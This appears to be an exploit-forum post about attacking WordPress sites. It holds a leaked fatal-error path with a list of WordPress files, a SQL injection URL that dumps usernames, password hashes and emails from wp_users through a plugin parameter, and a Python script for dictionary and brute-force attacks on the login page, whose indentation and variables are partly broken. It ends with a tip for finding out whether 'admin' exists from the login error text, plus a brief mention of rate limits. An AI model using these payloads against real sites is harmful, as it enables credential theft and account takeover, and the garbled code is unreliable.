Fatal error: Call to undefined function: wptexturize() in /home/ks011/www/wp-content/plugins/hello.php on line 44

/wp-admin/import/blogger.php
/wp-admin/import/blogware.php
/wp-admin/import/btt.php
/wp-admin/import/dotclear.php
/wp-admin/import/greymatter.php
/wp-admin/import/jkw.php
/wp-admin/import/livejournal.php
/wp-admin/import/mt.php
/wp-admin/import/rss.php
/wp-admin/import/stp.php
/wp-admin/import/textpattern.php
/wp-admin/import/utw.php
/wp-admin/import/wordpress.php
/wp-admin/import/wp-cat2tag.php
/wp-admin/includes/admin.php
/wp-admin/includes/class-ftp-pure.php
/wp-admin/includes/class-ftp-sockets.php
/wp-admin/includes/comment.php
/wp-admin/includes/file.php
/wp-admin/includes/media.php
/wp-admin/includes/misc.php
/wp-admin/includes/schema.php
/wp-admin/includes/update.php
/wp-admin/includes/upgrade.php
/wp-admin/includes/widgets.php
/wp-admin/admin-footer.php
/wp-admin/admin-functions.php
/wp-admin/edit-category-form.php
/wp-admin/edit-form-advanced.php
/wp-admin/edit-form-comment.php
/wp-admin/edit-form.php
/wp-admin/edit-link-category-form.php
/wp-admin/edit-link-form.php
/wp-admin/edit-page-form.php
/wp-admin/edit-tag-form.php
/wp-admin/menu-header.php
/wp-admin/menu.php
/wp-admin/options-head.php
/wp-admin/upgrade-functions.php
/wp-content/plugins/akismet/akismet.php
/wp-content/plugins/wp-admin-fluency/wp-admin-fluency.php
/wp-content/plugins/hello.php
/wp-content/plugins/rus-to-lat.php
/wp-content/plugins/russian-date.php
/wp-content/themes/classic/comments-popup.php
/wp-content/themes/classic/comments.php
/wp-content/themes/classic/footer.php
/wp-content/themes/classic/header.php
/wp-content/themes/classic/index.php
/wp-content/themes/classic/sidebar.php
/wp-content/themes/default/404.php
/wp-content/themes/default/archive.php
/wp-content/themes/default/archives.php
/wp-content/themes/default/attachment.php
/wp-content/themes/default/comments-popup.php
/wp-content/themes/default/footer.php
/wp-content/themes/default/functions.php
/wp-content/themes/default/header.php
/wp-content/themes/default/image.php
/wp-content/themes/default/index.php
/wp-content/themes/default/links.php
/wp-content/themes/default/page.php
/wp-content/themes/default/search.php
/wp-content/themes/default/searchform.php
/wp-content/themes/default/sidebar.php
/wp-content/themes/default/single.php
/wp-includes/js/tinymce/langs/wp-langs.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
/wp-includes/bookmark.php
/wp-includes/canonical.php
/wp-includes/default-filters.php
/wp-includes/feed-atom-comments.php
/wp-includes/feed-atom.php
/wp-includes/feed-rdf.php
/wp-includes/feed-rss.php
/wp-includes/feed-rss2-comments.php
/wp-includes/feed-rss2.php
/wp-includes/general-template.php
/wp-includes/kses.php
/wp-includes/media.php
/wp-includes/registration-functions.php
/wp-includes/rss-functions.php
/wp-includes/rss.php
/wp-includes/script-loader.php
/wp-includes/shortcodes.php
/wp-includes/template-loader.php
/wp-includes/update.php
/wp-includes/vars.php
/wp-includes/widgets.php
/wp-settings.php

http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,conca  t(user_login,0x3a,user_pass,0x3a,user_email),3,4+f  rom+wp_users--&display=plain

############# Source code #####################
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky  
# Vendor : http://wordpress.org/
# Found by : Kad (kadfrox@gmail.com / #kadaj-diabolik@hotmail.fr)
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [  i for i in tab ]
def node( table, parent, size ):
  if size == 0:
   pass
  else:
   for c in table:
    string = "%s%s"%( parent, c )
                         data = {'log': sys.argv[2],
                    'pwd': string}
                         print "[+] Testing : "+string
                         request = urllib2.Request(server, urllib.urlencode(data))
                         f = urllib2.urlopen(request).read()
                         if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
    node( table, string, size-1 )
   
def bruteforce( table, size ):
  for c in table:
   node( table, c, size-1 )
    
if (len(sys.argv) < 3):
     print "Usage : float.py <server> <user> <choice> <dico-characters>"
     print "\nDefault: User is 'admin'"
     print "Choice : 1} Dictionnary Attack, use dictionnary file"
     print "         2} Bruteforce Attack, use number of character for password"
      
else:
     server = sys.argv[1]
     if sys.argv[3] == "1":
  a , b = open(sys.argv[4],'r') , 0
  for lines in a: b = b + 1
  a.seek(0)  
  c = 0
  while (c < b):
   mot = a.readline().rstrip()
   data = {'log': sys.argv[2],
     'pwd': mot}
   print "[+] Testing : "+mot
   request = urllib2.Request(server, urllib.urlencode(data))
   f = urllib2.urlopen(request).read()
   if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
   else: c = c + 1 ; pass
     if sys.argv[3] == "2":
  print "[-] Server is : "+server
  print "[-] User is : "+sys.argv[2]
  print "[-] Number of characters are : "+sys.argv[4]
         number = int(sys.argv[4])
         bruteforce( tab, number )
############## Source code #####################

The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests).  

To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else).  

if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password <img src="http://s49.ucoz.net/sm/1/wink.gif" border="0" align="absmiddle" alt="wink" />  

Kad'